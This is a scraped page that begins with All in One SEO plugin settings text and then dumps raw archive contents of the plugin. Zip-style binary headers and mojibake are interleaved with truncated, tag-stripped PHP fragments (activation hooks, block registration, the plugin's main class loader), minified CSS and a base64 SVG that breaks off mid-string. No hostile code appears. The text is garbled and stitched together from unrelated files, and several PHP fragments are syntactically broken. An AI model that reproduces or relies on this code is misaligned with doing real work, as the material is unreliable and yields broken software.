    The tagline for your site, set in the general settings.
    Meta Description
    Click on the tags below to insert variables into your meta description.
    Category Title
    Separator
    Category Description
    View all tags â†’
    Category Description
    Category Description
    Current or first category description.
    Category Title
    Category Title
    Current or first category title.
    Current Date
    Current Date
    The current date, localized.
    Current Day
    Current Day
    The current day of the month, localized.
    Current Month
    Current Month
    The current month, localized.
    Current Year
    Current Year
    The current year, localized.
    Custom Field
    Custom Field
    A custom field from the current page/post.
    Permalink
    Permalink
    The permalink for the current page/post.
    Separator
    Separator
    The separator defined in the search appearance settings.
    Site Title
    Site Title
    Your site title.
    Tagline
    Tagline
    The tagline for your site, set in the general settings.
    This feature is only available for licensed AIOSEO Pro users.
    AIOSEO Pro allows you to set custom SEO titles and descriptions for taxonomies as well as social meta and Open Graph data for search engines.
    Social Meta
    SEO Title/Description
    Upgrade to Pro and Unlock Custom Taxonomies Learn more about all features
    PKÉ—[¢Xiaää+all-in-one-seo-pack/app/init/activation.phpnu„[µü¤core->cache->update( 'lite_just_activated', true ); } } if ( ! function_exists( 'aioseo_lite_just_deactivated' ) ) { /** * Store temporarily that Lite plugin was deactivated. * Convert temporary "activated" value to a global variable, * so it is available through the request. Remove from the storage. * * @since 4.0.0 */ function aioseo_lite_just_deactivated() { global $aioseoLiteJustActivated, $aioseoLiteJustDeactivated; $aioseoLiteJustActivated = (bool) aioseo()->core->cache->get( 'lite_just_activated' ); $aioseoLiteJustDeactivated = true; aioseo()->core->cache->delete( 'lite_just_activated' ); } } if ( ! function_exists( 'aioseo_pro_just_activated' ) ) { /** * Store temporarily that the Pro version of the plugin was activated. * This is needed because when we activate the Pro version on top * of the Lite version, it does not trigger the activation hook in Pro. * * @since 4.0.0 */ function aioseo_pro_just_activated() { $liteActivated = is_plugin_active( 'all-in-one-seo-pack/all_in_one_seo_pack.php' ); if ( $liteActivated ) { // Add capabilities for the current user on upgrade so that the menu is visible on the first request. aioseo()->activate->addCapabilitiesOnUpgrade(); aioseo()->core->cache->update( 'pro_just_deactivated_lite', true ); } } } // If we detect that V3 is active, let's deactivate it now. if ( defined( 'AIOSEOP_VERSION' ) && defined( 'AIOSEO_PLUGIN_FILE' ) ) { require_once ABSPATH . 'wp-admin/includes/plugin.php'; deactivate_plugins( plugin_basename( AIOSEO_PLUGIN_FILE ) ); }PKÉ—[gŠHØ&all-in-one-seo-pack/app/init/blocks.jsnu„[µü¤/** * Since we dynamically load our blocks, wordpress.org cannot pick them up properly. * This file solely exists to let WordPress know what blocks we are currently using. * * @since 4.2.4 */ /* eslint-disable no-undef */ registerBlockType('aioseo/breadcrumbs', { title : 'AIOSEO - Breadcrumbs' }) registerBlockType('aioseo/html-sitemap', { title : 'AIOSEO - HTML Sitemap' }) registerBlockType('aioseo/faq', { title : 'AIOSEO - FAQ with JSON Schema' }) registerBlockType('aioseo/table-of-contents', { title : 'AIOSEO - Table of Contents' }) registerBlockType('aioseo/businessinfo', { title : 'AIOSEO - Local Business Info' }) registerBlockType('aioseo/locationcategories', { title : 'AIOSEO - Local Business Location Categories' }) registerBlockType('aioseo/locations', { title : 'AIOSEO - Local Business Locations' }) registerBlockType('aioseo/locationmap', { title : 'AIOSEO - Local Business Google Map' }) registerBlockType('aioseo/openinghours', { title : 'AIOSEO - Local Business Opening Hours' }) registerBlockType('aioseo/openinghours', { title : 'AIOSEO - Author Bio (E-E-A-T)' }) registerBlockType('aioseo/openinghours', { title : 'AIOSEO - Author Name (E-E-A-T)' }) registerBlockType('aioseo/openinghours', { title : 'AIOSEO - Reviewer Name (E-E-A-T)' })PKÉ—[à† ëë%all-in-one-seo-pack/app/init/init.phpnu„[µü¤

    ', '', '', '' ), array( 'a' => array( 'href' => array(), 'target' => array(), 'rel' => array(), ), 'strong' => array(), ) ); ?>

    ', '', 'AIOSEO', '', // phpcs:ignore Generic.Files.LineLength.MaxExceeded '' ), array( 'a' => array( 'href' => array(), 'target' => array(), 'rel' => array(), ), 'strong' => array(), ) ); ?>

    ', '', 'AIOSEO', '', '' ), array( 'a' => array( 'href' => array(), 'target' => array(), 'rel' => array(), ), 'strong' => array(), ) ); ?>

    ', '', PHP_VERSION, date( 'Y' ), 'AIOSEO', '', // phpcs:ignore Generic.Files.LineLength.MaxExceeded '' ), array( 'a' => array( 'href' => array(), 'target' => array(), 'rel' => array(), ), 'strong' => array(), ) ); ?>

    ', '', 'All in One SEO' ), array( 'strong' => array(), ) ); ?>

    ', '', 'AIOSEO', date( 'Y' ), '', // phpcs:ignore Generic.Files.LineLength.MaxExceeded '' ), array( 'a' => array( 'href' => array(), 'target' => array(), 'rel' => array(), ), 'strong' => array(), ) ); ?>

    %1$s

    %2$s

    ', esc_html__( 'Heads up!', 'all-in-one-seo-pack' ), // Translators: 1 - "AIOSEO Pro", 2 - "AIOSEO Lite". sprintf( esc_html__( 'Your site already has %1$s activated. If you want to switch to %2$s, please first go to Plugins > Installed Plugins and deactivate %1$s. Then, you can activate %2$s.', 'all-in-one-seo-pack' ), 'AIOSEO Pro', 'AIOSEO Lite' ) // phpcs:ignore Generic.Files.LineLength.MaxExceeded ); if ( isset( $_GET['activate'] ) ) { // phpcs:ignore HM.Security.NonceVerification.Recommended unset( $_GET['activate'] ); } unset( $aioseoLiteJustActivated, $aioseoLiteJustDeactivated ); } }PKÉ—[w§m_c'c'*all-in-one-seo-pack/app/AIOSEOAbstract.phpnu„[µü¤init(); // Load our addons on the action right after plugins_loaded. add_action( 'sanitize_comment_cookies', [ self::$instance, 'loadAddons' ] ); } return self::$instance; } /** * Initialize All in One SEO! * * @since 4.0.0 * * @return void */ private function init() { $this->constants(); $this->includes(); $this->preLoad(); if ( ! $this->core->isUninstalling() ) { $this->load(); } } /** * Setup plugin constants. * All the path/URL related constants are defined in main plugin file. * * @since 4.0.0 * * @return void */ private function constants() { $defaultHeaders = [ 'name' => 'Plugin Name', 'version' => 'Version', ]; $pluginData = get_file_data( AIOSEO_FILE, $defaultHeaders ); $constants = [ 'AIOSEO_PLUGIN_BASENAME' => plugin_basename( AIOSEO_FILE ), 'AIOSEO_PLUGIN_NAME' => $pluginData['name'], 'AIOSEO_PLUGIN_SHORT_NAME' => 'AIOSEO', 'AIOSEO_PLUGIN_URL' => plugin_dir_url( AIOSEO_FILE ), 'AIOSEO_VERSION' => $pluginData['version'], 'AIOSEO_MARKETING_URL' => 'https://aioseo.com/', 'AIOSEO_MARKETING_DOMAIN' => 'aioseo.com' ]; foreach ( $constants as $constant => $value ) { if ( ! defined( $constant ) ) { define( $constant, $value ); } } $this->version = AIOSEO_VERSION; } /** * Including the new files with PHP 5.3 style. * * @since 4.0.0 * * @return void */ private function includes() { $dependencies = [ '/vendor/autoload.php' => true, '/vendor/woocommerce/action-scheduler/action-scheduler.php' => true, '/vendor/jwhennessey/phpinsight/autoload.php' => false, '/vendor_prefixed/monolog/monolog/src/Monolog/Logger.php' => false ]; foreach ( $dependencies as $path => $shouldRequire ) { if ( ! file_exists( AIOSEO_DIR . $path ) ) { // Something is not right. status_header( 500 ); wp_die( esc_html__( 'Plugin is missing required dependencies. Please contact support for more information.', 'all-in-one-seo-pack' ) ); } if ( $shouldRequire ) { require_once AIOSEO_DIR . $path; } } $this->loadVersion(); } /** * Load the version of the plugin we are currently using. * * @since 4.1.9 * * @return void */ private function loadVersion() { $proDir = is_dir( plugin_dir_path( AIOSEO_FILE ) . 'app/Pro' ); if ( ! class_exists( '\Dotenv\Dotenv' ) || ! file_exists( AIOSEO_DIR . '/build/.env' ) ) { $this->pro = $proDir; $this->versionPath = $proDir ? 'Pro' : 'Lite'; return; } $dotenv = \Dotenv\Dotenv::createUnsafeImmutable( AIOSEO_DIR, '/build/.env' ); $dotenv->load(); $version = defined( 'AIOSEO_DEV_VERSION' ) ? strtolower( AIOSEO_DEV_VERSION ) : strtolower( getenv( 'VITE_VERSION' ) ); if ( ! empty( $version ) ) { $this->isDev = true; if ( file_exists( AIOSEO_DIR . '/build/filters.php' ) ) { require_once AIOSEO_DIR . '/build/filters.php'; } } if ( $proDir && 'pro' === $version ) { $this->pro = true; $this->versionPath = 'Pro'; } } /** * Runs before we load the plugin. * * @since 4.0.0 * * @return void */ private function preLoad() { $this->core = new Common\Core\Core(); $this->backwardsCompatibility(); // Internal Options. $this->helpers = $this->pro ? new Pro\Utils\Helpers() : new Lite\Utils\Helpers(); $this->internalNetworkOptions = ( $this->pro && $this->helpers->isPluginNetworkActivated() ) ? new Pro\Options\InternalNetworkOptions() : new Common\Options\InternalNetworkOptions(); $this->internalOptions = $this->pro ? new Pro\Options\InternalOptions() : new Lite\Options\InternalOptions(); // Run pre-updates. $this->preUpdates = $this->pro ? new Pro\Main\PreUpdates() : new Common\Main\PreUpdates(); } /** * To prevent errors and bugs from popping up, * we will run this backwards compatibility method. * * @since 4.1.9 * * @return void */ private function backwardsCompatibility() { $this->db = $this->core->db; $this->cache = $this->core->cache; $this->transients = $this->cache; $this->cachePrune = $this->core->cachePrune; $this->optionsCache = $this->core->optionsCache; } /** * To prevent errors and bugs from popping up, * we will run this backwards compatibility method. * * @since 4.2.0 * * @return void */ private function backwardsCompatibilityLoad() { $this->postSettings->integrations = $this->standalone->pageBuilderIntegrations; } /** * Load our classes. * * @since 4.0.0 * * @return void */ public function load() { // Load external translations if this is a Pro install. if ( $this->pro ) { $translations = new Pro\Main\Translations( 'plugin', 'all-in-one-seo-pack', 'https://aioseo.com/aioseo-plugin/all-in-one-seo-pack/packages.json' ); $translations->init(); $translations = new Pro\Main\Translations( 'plugin', 'aioseo-pro', 'https://aioseo.com/aioseo-plugin/aioseo-pro/packages.json' ); $translations->init(); } $this->addons = $this->pro ? new Pro\Utils\Addons() : new Common\Utils\Addons(); $this->features = $this->pro ? new Pro\Utils\Features() : new Common\Utils\Features(); $this->tags = $this->pro ? new Pro\Utils\Tags() : new Common\Utils\Tags(); $this->blocks = new Common\Utils\Blocks(); $this->badBotBlocker = new Common\Tools\BadBotBlocker(); $this->breadcrumbs = $this->pro ? new Pro\Breadcrumbs\Breadcrumbs() : new Common\Breadcrumbs\Breadcrumbs(); $this->dynamicBackup = $this->pro ? new Pro\Options\DynamicBackup() : new Common\Options\DynamicBackup(); $this->options = $this->pro ? new Pro\Options\Options() : new Lite\Options\Options(); $this->networkOptions = ( $this->pro && $this->helpers->isPluginNetworkActivated() ) ? new Pro\Options\NetworkOptions() : new Common\Options\NetworkOptions(); $this->dynamicOptions = $this->pro ? new Pro\Options\DynamicOptions() : new Common\Options\DynamicOptions(); $this->backup = new Common\Utils\Backup(); $this->access = $this->pro ? new Pro\Utils\Access() : new Common\Utils\Access(); $this->usage = $this->pro ? new Pro\Admin\Usage() : new Lite\Admin\Usage(); $this->siteHealth = $this->pro ? new Pro\Admin\SiteHealth() : new Common\Admin\SiteHealth(); $this->networkLicense = $this->pro && $this->helpers->isPluginNetworkActivated() ? new Pro\Admin\NetworkLicense() : null; $this->license = $this->pro ? new Pro\Admin\License() : null; $this->autoUpdates = $this->pro ? new Pro\Admin\AutoUpdates() : null; $this->updates = $this->pro ? new Pro\Main\Updates() : new Common\Main\Updates(); $this->meta = $this->pro ? new Pro\Meta\Meta() : new Common\Meta\Meta(); $this->social = $this->pro ? new Pro\Social\Social() : new Common\Social\Social(); $this->robotsTxt = new Common\Tools\RobotsTxt(); $this->htaccess = new Common\Tools\Htaccess(); $this->term = $this->pro ? new Pro\Admin\Term() : null; $this->notices = $this->pro ? new Pro\Admin\Notices\Notices() : new Lite\Admin\Notices\Notices(); $this->wpNotices = new Common\Admin\Notices\WpNotices(); $this->admin = $this->pro ? new Pro\Admin\Admin() : new Lite\Admin\Admin(); $this->networkAdmin = $this->helpers->isPluginNetworkActivated() ? ( $this->pro ? new Pro\Admin\NetworkAdmin() : new Common\Admin\NetworkAdmin() ) : null; $this->activate = $this->pro ? new Pro\Main\Activate() : new Common\Main\Activate(); $this->conflictingPlugins = $this->pro ? new Pro\Admin\ConflictingPlugins() : new Common\Admin\ConflictingPlugins(); $this->migration = $this->pro ? new Pro\Migration\Migration() : new Common\Migration\Migration(); $this->importExport = $this->pro ? new Pro\ImportExport\ImportExport() : new Common\ImportExport\ImportExport(); $this->sitemap = $this->pro ? new Pro\Sitemap\Sitemap() : new Common\Sitemap\Sitemap(); $this->htmlSitemap = new Common\Sitemap\Html\Sitemap(); $this->templates = $this->pro ? new Pro\Utils\Templates() : new Common\Utils\Templates(); $this->categoryBase = $this->pro ? new Pro\Main\CategoryBase() : null; $this->postSettings = $this->pro ? new Pro\Admin\PostSettings() : new Lite\Admin\PostSettings(); $this->standalone = new Common\Standalone\Standalone(); $this->searchStatistics = $this->pro ? new Pro\SearchStatistics\SearchStatistics() : new Common\SearchStatistics\SearchStatistics(); $this->slugMonitor = new Common\Admin\SlugMonitor(); $this->schema = $this->pro ? new Pro\Schema\Schema() : new Common\Schema\Schema(); $this->actionScheduler = new Common\Utils\ActionScheduler(); $this->seoRevisions = $this->pro ? new Pro\SeoRevisions\SeoRevisions() : new Common\SeoRevisions\SeoRevisions(); $this->ai = $this->pro ? new Pro\Ai\Ai() : null; $this->filters = $this->pro ? new Pro\Main\Filters() : new Lite\Main\Filters(); $this->crawlCleanup = new Common\QueryArgs\CrawlCleanup(); if ( ! wp_doing_ajax() && ! wp_doing_cron() ) { $this->rss = new Common\Rss(); $this->main = $this->pro ? new Pro\Main\Main() : new Common\Main\Main(); $this->head = $this->pro ? new Pro\Main\Head() : new Common\Main\Head(); $this->dashboard = $this->pro ? new Pro\Admin\Dashboard() : new Common\Admin\Dashboard(); $this->api = $this->pro ? new Pro\Api\Api() : new Lite\Api\Api(); $this->help = new Common\Help\Help(); } $this->backwardsCompatibilityLoad(); if ( wp_doing_ajax() ) { add_action( 'init', [ $this, 'loadAjaxInit' ], 999 ); return; } if ( wp_doing_cron() ) { return; } add_action( 'init', [ $this, 'loadInit' ], 999 ); } /** * Things that need to load after init, on AJAX requests. * * @since 4.2.4 * * @return void */ public function loadAjaxInit() { $this->addons->registerUpdateCheck(); } /** * Things that need to load after init. * * @since 4.0.0 * * @return void */ public function loadInit() { $this->settings = new Common\Utils\VueSettings( '_aioseo_settings' ); $this->sitemap->init(); $this->sitemap->ping->init(); $this->badBotBlocker->init(); // We call this again to reset any post types/taxonomies that have not yet been set up. $this->dynamicOptions->refresh(); if ( ! $this->pro ) { return; } $this->addons->registerUpdateCheck(); } /** * Loads our addons. * * Runs right after the plugins_loaded hook. * * @since 4.0.0 * * @return void */ public function loadAddons() { do_action( 'aioseo_loaded' ); } } } namespace { // Exit if accessed directly. if ( ! defined( 'ABSPATH' ) ) { exit; } /** * The function which returns the one AIOSEO instance. * * @since 4.0.0 * * @return AIOSEO\Plugin\AIOSEO The instance. */ function aioseo() { return AIOSEO\Plugin\AIOSEO::instance(); } }PKÉ—[êq~ðtt=all-in-one-seo-pack/dist/Lite/assets/css/AboutUs.BYmeY2j7.cssnu„[µü¤.aioseo-app .aioseo-about-us .aioseo-about-us-welcome,.aioseo-app .aioseo-about-us .aioseo-about-us-plugins{margin-top:var(--aioseo-gutter);width:100%}.aioseo-app .aioseo-about-us .aioseo-about-us-welcome,.aioseo-app .aioseo-about-us .aioseo-about-us-plugins .plugin .plugin-main,.aioseo-app .aioseo-about-us .aioseo-about-us-plugins .plugin .plugin-footer{background-color:#fff;box-shadow:0 2px 5px #0000000d;border:1px solid #E8E8EB}.aioseo-app .aioseo-about-us .aioseo-about-us-welcome{display:flex;align-items:center;gap:calc(var(--aioseo-gutter) * 2);padding:calc(var(--aioseo-gutter) * 2);font-size:14px;color:#141b38}@media only screen and (max-width: 1042px){.aioseo-app .aioseo-about-us .aioseo-about-us-welcome{flex-direction:column}}.aioseo-app .aioseo-about-us .aioseo-about-us-welcome .welcome-intro{flex:2 2 auto}.aioseo-app .aioseo-about-us .aioseo-about-us-welcome .welcome-intro div{line-height:1.5}.aioseo-app .aioseo-about-us .aioseo-about-us-welcome .welcome-intro div+div{margin-top:20px}.aioseo-app .aioseo-about-us .aioseo-about-us-welcome .welcome-intro div:first-of-type{font-size:24px;line-height:30px;font-weight:600;margin:0 0 20px}.aioseo-app .aioseo-about-us .aioseo-about-us-welcome .welcome-image{text-align:center}.aioseo-app .aioseo-about-us .aioseo-about-us-welcome .welcome-image figure{margin:0}.aioseo-app .aioseo-about-us .aioseo-about-us-welcome .welcome-image img{max-width:100%}.aioseo-app .aioseo-about-us .aioseo-about-us-welcome .welcome-image figcaption{margin:16px 0 0;color:#8c8f9a}.aioseo-app .aioseo-about-us .aioseo-about-us-plugins .plugin{display:flex;flex-direction:column;font-size:14px;line-height:24px}.aioseo-app .aioseo-about-us .aioseo-about-us-plugins .plugin .plugin-main{display:flex;flex-direction:row;padding:22px;flex-grow:1}.aioseo-app .aioseo-about-us .aioseo-about-us-plugins .plugin .plugin-main img{width:50px;max-width:50px;max-height:50px}[dir=ltr] .aioseo-app .aioseo-about-us .aioseo-about-us-plugins .plugin .plugin-main img{margin:0 30px 0 0}[dir=rtl] .aioseo-app .aioseo-about-us .aioseo-about-us-plugins .plugin .plugin-main img{margin:0 0 0 30px}.aioseo-app .aioseo-about-us .aioseo-about-us-plugins .plugin .plugin-main .main-name{margin:0 0 10px;font-size:14px;font-weight:700;color:#141b38}.aioseo-app .aioseo-about-us .aioseo-about-us-plugins .plugin .plugin-footer{display:flex;justify-content:space-between;align-items:center;padding:12px}.aioseo-app .aioseo-about-us .aioseo-about-us-plugins .plugin .plugin-footer .footer-status{font-size:14px;line-height:22px;font-weight:700}.aioseo-app .aioseo-about-us .aioseo-about-us-plugins .plugin .plugin-footer .footer-status div{display:inline-block}[dir=ltr] .aioseo-app .aioseo-about-us .aioseo-about-us-plugins .plugin .plugin-footer .footer-status div{margin-right:12px}[dir=rtl] .aioseo-app .aioseo-about-us .aioseo-about-us-plugins .plugin .plugin-footer .footer-status div{margin-left:12px}.aioseo-app .aioseo-about-us .aioseo-about-us-plugins .plugin .plugin-footer .footer-status .footer-status-label{color:#8c8f9a}.aioseo-app .aioseo-about-us .aioseo-about-us-plugins .plugin .plugin-footer .footer-status .footer-status-not-installed{color:#434960}.aioseo-app .aioseo-about-us .aioseo-about-us-plugins .plugin .plugin-footer .footer-status .footer-status-deactivated{color:#df2a4a}.aioseo-app .aioseo-about-us .aioseo-about-us-plugins .plugin .plugin-footer .footer-status .footer-status-activated{color:#00aa63}.aioseo-app .aioseo-about-us .aioseo-about-us-plugins .plugin .plugin-footer .footer-action button,.aioseo-app .aioseo-about-us .aioseo-about-us-plugins .plugin .plugin-footer .footer-action a{width:fit-content;height:fit-content;padding:7px 14px;font-size:inherit;font-size:12px;line-height:18px}.aioseo-app .aioseo-about-us .aioseo-about-us-plugins .plugin .plugin-footer .footer-action .aioseo-button svg.aioseo-external{width:14px;height:14px}[dir=ltr] .aioseo-app .aioseo-about-us .aioseo-about-us-plugins .plugin .plugin-footer .footer-action .aioseo-button svg.aioseo-external{margin-right:10px}[dir=rtl] .aioseo-app .aioseo-about-us .aioseo-about-us-plugins .plugin .plugin-footer .footer-action .aioseo-button svg.aioseo-external{margin-left:10px} PKÉ—[âpàÎVVCall-in-one-seo-pack/dist/Lite/assets/css/AccessControl.C6qUrO7K.cssnu„[µü¤.aioseo-access-control-lite .aioseo-card .content{position:relative;min-height:500px} PKÉ—[div{flex:1 0 auto}.aioseo-additional-pages .additional-pages-input .page-priority,.aioseo-additional-pages .additional-pages-input .page-frequency{max-width:160px}.aioseo-additional-pages .additional-pages-input .page-last-modified{max-width:200px}.aioseo-additional-pages .additional-pages-input .page-row{min-height:70px;display:flex;padding:16px;background-color:#f9f9fa}.aioseo-additional-pages .additional-pages-input .page-row>div{flex:1 0 auto}[dir=ltr] .aioseo-additional-pages .additional-pages-input .page-row>div{padding-right:16px}[dir=rtl] .aioseo-additional-pages .additional-pages-input .page-row>div{padding-left:16px}[dir=ltr] .aioseo-additional-pages .additional-pages-input .page-row>div:last-child{padding-right:0}[dir=rtl] .aioseo-additional-pages .additional-pages-input .page-row>div:last-child{padding-left:0}.aioseo-additional-pages .additional-pages-input .page-input-footer{border-top:1px solid #D0D1D7;padding:9px 16px}[dir=ltr] .aioseo-additional-pages .additional-pages-input .page-input-footer button{margin-right:16px}[dir=rtl] .aioseo-additional-pages .additional-pages-input .page-input-footer button{margin-left:16px}.aioseo-additional-pages .in-table{padding:0 24px;border:none}.aioseo-additional-pages .in-table .page-row{background-color:transparent;padding:0;min-height:auto;margin-bottom:16px;height:40px}.aioseo-additional-pages .in-table .page-input-footer{border-top:none;text-align:end;padding:0}[dir=ltr] .aioseo-additional-pages .in-table .page-input-footer button{margin-right:0;margin-left:16px}[dir=rtl] .aioseo-additional-pages .in-table .page-input-footer button{margin-left:0;margin-right:16px}.aioseo-additional-pages .aioseo-alert{margin-top:10px}.aioseo-add-additional-pages-modal .aioseo-modal-body.delete{margin:20px 0 50px}.aioseo-add-additional-pages-modal .aioseo-modal-body.import-additional-pages{padding:24px;align-items:flex-start}.aioseo-add-additional-pages-modal .aioseo-modal-body.import-additional-pages>.aioseo-button{margin-top:0}.aioseo-add-additional-pages-modal .aioseo-modal-body.import-additional-pages>.import-error{margin-top:24px;margin-bottom:0}.aioseo-add-additional-pages-modal .aioseo-modal-body.import-additional-pages .alert{padding:12px;background-color:#fcfae8;border:1px solid #F18200;border-radius:4px;margin-bottom:12px}.aioseo-add-additional-pages-modal .aioseo-modal-body.import-additional-pages .alert p{margin:0 0 20px}.aioseo-add-additional-pages-modal .aioseo-modal-body.import-additional-pages .alert p,.aioseo-add-additional-pages-modal .aioseo-modal-body.import-additional-pages .alert a{font-size:14px}.aioseo-add-additional-pages-modal .aioseo-alert.medium{padding:7px 16px}.aioseo-add-additional-pages-modal .import-error{margin-bottom:20px;display:inline-flex;align-items:center;width:100%}.aioseo-add-additional-pages-modal .import-error>svg{margin-inline-end:10px;height:26px;width:26px;filter:invert(28%) sepia(88%) saturate(2504%) hue-rotate(332deg) brightness(88%) contrast(100%)}.aioseo-add-additional-pages-modal .file-upload{display:flex;margin:24px 0;align-items:baseline;width:100%;gap:8px}[dir=ltr] .aioseo-add-additional-pages-modal .file-upload>.aioseo-input{margin-right:10px}[dir=rtl] .aioseo-add-additional-pages-modal .file-upload>.aioseo-input{margin-left:10px}.aioseo-add-additional-pages-modal .file-upload button{margin-top:0!important}.aioseo-add-additional-pages-modal .modal-header{border:none}.aioseo-add-additional-pages-modal .modal-header button.close{top:23px;padding:0}[dir=ltr] .aioseo-add-additional-pages-modal .modal-header button.close{right:20px}[dir=rtl] .aioseo-add-additional-pages-modal .modal-header button.close{left:20px}.aioseo-add-additional-pages-modal .modal-header svg.aioseo-close{filter:brightness(0) saturate(100%) invert(66%) sepia(10%) saturate(292%) hue-rotate(190deg) brightness(85%) contrast(84%)}.aioseo-add-additional-pages-modal .modal-body{max-height:100%}.aioseo-add-additional-pages-modal .modal-body img{width:100%;border-radius:5px}.aioseo-additional-pages .aioseo-wp-table.additional-pages-table{border-top:1px solid #E8E8EB;padding-top:20px}.aioseo-additional-pages .aioseo-wp-table.additional-pages-table .wp-table .post-title{color:#141b38}.aioseo-additional-pages .aioseo-wp-table.additional-pages-table .wp-table .post-title:hover{color:#005ae0}.aioseo-additional-pages .aioseo-wp-table.additional-pages-table .wp-table .page-actions svg.aioseo-trash{width:20px;height:20px;color:#8c8f9a;cursor:pointer;transition:color .1s ease}.aioseo-additional-pages .aioseo-wp-table.additional-pages-table .wp-table .page-actions svg.aioseo-trash:hover{color:#df2a4a}.aioseo-additional-pages .aioseo-wp-table.additional-pages-table .wp-table .aioseo-tooltip{display:inline-block}[dir=ltr] .aioseo-additional-pages .aioseo-wp-table.additional-pages-table .wp-table .aioseo-tooltip{margin-left:0}[dir=rtl] .aioseo-additional-pages .aioseo-wp-table.additional-pages-table .wp-table .aioseo-tooltip{margin-right:0}.aioseo-additional-pages .aioseo-wp-table.additional-pages-table .wp-table .edit-row-content{border-top:1px solid #E8E8EB;padding:0}.aioseo-additional-pages .aioseo-wp-table.additional-pages-table .wp-table .edit-row-content .border{padding:0;border:none}.aioseo-additional-pages-modal .aioseo-modal-body{padding:20px 40px 40px;display:flex;align-items:center;justify-content:center;flex-direction:column;position:relative}.aioseo-additional-pages-modal .aioseo-modal-body button.close{position:absolute;top:11px;width:24px;height:24px;background-color:#fff;border:none;display:flex;align-items:center}[dir=ltr] .aioseo-additional-pages-modal .aioseo-modal-body button.close{right:11px}[dir=rtl] .aioseo-additional-pages-modal .aioseo-modal-body button.close{left:11px}.aioseo-additional-pages-modal .aioseo-modal-body button.close svg.aioseo-close{cursor:pointer;width:14px;height:14px}.aioseo-additional-pages-modal .aioseo-modal-body h3{font-size:20px;margin-bottom:16px}.aioseo-additional-pages-modal .aioseo-modal-body .label{padding-bottom:5px;color:#141b38;font-size:14px;font-weight:700}.aioseo-additional-pages-modal .aioseo-modal-body .reset-description{font-size:16px;color:#141b38;margin-bottom:16px;text-align:center}.aioseo-additional-pages-modal .aioseo-modal-body .aioseo-button:not(.close):not(.import){margin-top:16px}.aioseo-additional-pages-modal .modal-wrapper .modal-container{max-width:650px} PKÉ—[Ìß–SS?all-in-one-seo-pack/dist/Lite/assets/css/admin-bar.Bs7JXaKP.cssnu„[µü¤#wpadminbar #wp-admin-bar-aioseo-main .aioseo-logo.svg{width:26px;height:30px;background-repeat:no-repeat;background-size:20px;background-image:url(data:image/svg+xml;base64,PHN2ZyB2aWV3Qm94PSIwIDAgMjAgMjAiIHdpZHRoPSIxNiIgaGVpZ2h0PSIxNiIgZmlsbD0iI2ZmZiIgeG1sbnM9Imh0dHA6Ly93d3cudzMub3JnLzIwMDAvc3ZnIiBjbGFzcz0iYWlvc2VvLWdlYXIiPjxwYXRoIGZpbGwtcnVsZT0iZXZlbm9kZCIgY2xpcC1ydWxlPSJldmVub2RkIiBkPSJNOS45ODU0MiAxOS45NzA4QzE1LjUwMDIgMTkuOTcwOCAxOS45NzA4IDE1LjUwMDIgMTkuOTcwOCA5Ljk4NTQyQzE5Ljk3MDggNC40NzA2MyAxNS41MDAyIDAgOS45ODU0MiAwQzQuNDcwNjMgMCAwIDQuNDcwNjMgMCA5Ljk4NTQyQzAgMTUuNTAwMiA0LjQ3MDYzIDE5Ljk3MDggOS45ODU0MiAxOS45NzA4Wk04LjM5NTQxIDMuNjU0NjRDOC4yNjAxNiAzLjQ0ODUgOC4wMDk2IDMuMzUyMTEgNy43Nzk4NSAzLjQzMzI3QzcuNTE4MTYgMy41MjU3MiA3LjI2MjE4IDMuNjM0NDUgNy4wMTM0OSAzLjc1ODhDNi43OTUxOSAzLjg2Nzk2IDYuNjg1NjYgNC4xMTczMSA2LjczMzcyIDQuMzYwNDlMNi45MDQ5MyA1LjIyNjk0QzYuOTQ5IDUuNDQ5OTYgNi44NTggNS42NzYzIDYuNjg1MjIgNS44MjAwOUM2LjQxMjE2IDYuMDQ3MzQgNi4xNjAwNyA2LjMwNDI2IDUuOTM0MjEgNi41ODg2NEM1Ljc5MzgzIDYuNzY1MzkgNS41NzIzMyA2Ljg1OTA3IDUuMzUzNjEgNi44MTQ4OUw0LjUwNDI0IDYuNjQzM0M0LjI2NTY0IDYuNTk1MSA0LjAyMTU3IDYuNzA3ODggMy45MTU0NCA2LjkzMTIxQzMuODU1NDkgNy4wNTczOCAzLjc5ODg5IDcuMTg2MiAzLjc0NTgzIDcuMzE3NThDMy42OTI3NiA3LjQ0ODk2IDMuNjQzOTcgNy41ODEwNSAzLjU5OTM4IDcuNzEzNjlDMy41MjA0OCA3Ljk0ODQ3IDMuNjE1NzkgOC4yMDM5OCAzLjgxODM5IDguMzQxMzNMNC41Mzk1OCA4LjgzMDI3QzQuNzI1MjkgOC45NTYxNyA0LjgxNzc4IDkuMTgxOSA0Ljc5NTM0IDkuNDA4MjZDNC43NTkyNSA5Ljc3MjQ0IDQuNzYwNzIgMTAuMTM2IDQuNzk3NTYgMTAuNDkzNkM0LjgyMDg3IDEwLjcxOTggNC43MjkxNSAxMC45NDU5IDQuNTQzODggMTEuMDcyNEwzLjgyNDA4IDExLjU2NDJDMy42MjIwNSAxMS43MDIyIDMuNTI3NTkgMTEuOTU3OSAzLjYwNzEzIDEyLjE5MjNDMy42OTc3NCAxMi40NTkzIDMuODA0MyAxMi43MjA1IDMuOTI2MTUgMTIuOTc0M0M0LjAzMzEzIDEzLjE5NzEgNC4yNzc0OSAxMy4zMDg4IDQuNTE1ODEgMTMuMjU5OEw1LjM2NDk1IDEzLjA4NTFDNS41ODM1IDEzLjA0MDEgNS44MDUzMyAxMy4xMzMgNS45NDYyMyAxMy4zMDkzQzYuMTY4OTMgMTMuNTg3OSA2LjQyMDcxIDEzLjg0NTEgNi42OTk0IDE0LjA3NTZDNi44NzI2MSAxNC4yMTg4IDYuOTY0NDIgMTQuNDQ0OCA2LjkyMTEyIDE0LjY2OEw2Ljc1Mjk2IDE1LjUzNDhDNi43MDU3MiAxNS43NzgyIDYuODE2MjUgMTYuMDI3MyA3LjAzNTExIDE2LjEzNTZDNy4xNTg3NiAxNi4xOTY3IDcuMjg1IDE2LjI1NDUgNy40MTM3NSAxNi4zMDg2QzcuNTQyNTEgMTYuMzYyOCA3LjY3MTk2IDE2LjQxMjYgNy44MDE5NSAxNi40NTgxQzguMTgyMjQgMTYuNTkxMiA4LjcxNDQ5IDE2LjExNDcgOS4xMDggMTUuNzYyNUM5LjMwMjA1IDE1LjU4ODggOS40MjE3NCAxNS4zNDMgOS40MjMwMSAxNS4wNzk4QzkuNDIzMDEgMTUuMDc4NCA5LjQyMzAyIDE1LjA3NyA5LjQyMzAyIDE1LjA3NTZMOS40MjMwMSAxMy42MjYzQzkuNDIzMDEgMTMuNjEwOSA5LjQyMzYgMTMu